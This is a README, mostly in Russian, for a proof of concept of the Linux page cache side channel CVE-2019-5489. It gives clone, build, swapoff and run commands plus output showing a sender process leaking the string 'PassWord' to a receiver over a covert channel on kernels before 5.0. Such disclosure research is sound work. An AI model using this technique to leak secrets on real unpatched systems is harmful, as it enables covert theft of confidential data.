
Page Cache Side Channel Attacks (CVE-2019-5489) proof of concept for Linux
Этот репозиторий содержит proof of concept атаки Page Cache Side Channel (CVE-2019-5489) для Linux.
Для оценки бокового канала кэша страниц я реализовал скрытый канал между двумя процессами.
Процесс-отправитель отправляет конфиденциальные данные процессу-получателю через боковой канал кэша страниц.
Атаки на кэш страниц были смягчены в Linux Kernel 5.0 и более поздних версиях, поэтому этот PoC будет работать только до Linux Kernel 5.0.
ПРИМЕЧАНИЕ: Я тестировал на Ubuntu 18.04, Linux 4.15.0-70.
Выполните следующую команду.
git clone https://github.com/mmxsrup/CVE-2019-5489
cd CVE-2019-5489
make
Отключите область подкачки, чтобы упростить атаку.
swapoff -a
Сначала выполните следующую команду в терминале 1.
make run-sender
После того, как в терминале 1 будет выведено sending 1th character ..., выполните следующую команду.
make run-receiver
Если выполнение прошло успешно, будет выведено следующее.
Это показывает, что ключ был отправлен от процесса Sender к процессу Reciver через боковой канал кэша страниц.
LD_LIBRARY_PATH=. ./sender
Sender process
ecicting page cache ...
sending 1th character ...
ecicting page cache ...
sending 2th character ...
ecicting page cache ...
sending 3th character ...
ecicting page cache ...
sending 4th character ...
ecicting page cache ...
sending 5th character ...
ecicting page cache ...
sending 6th character ...
ecicting page cache ...
sending 7th character ...
ecicting page cache ...
sending 8th character ...
ecicting page cache ...
sending 9th character ...
LD_LIBRARY_PATH=. ./receiver
Sender process
waiting ...
recved caracter(P)
waiting ...
recved caracter(a)
waiting ...
recved caracter(s)
waiting ...
recved caracter(s)
waiting ...
recved caracter(W)
waiting ...
recved caracter(o)
waiting ...
recved caracter(r)
waiting ...
recved caracter(d)
waiting ...
recved caracter()
Received key: PassWord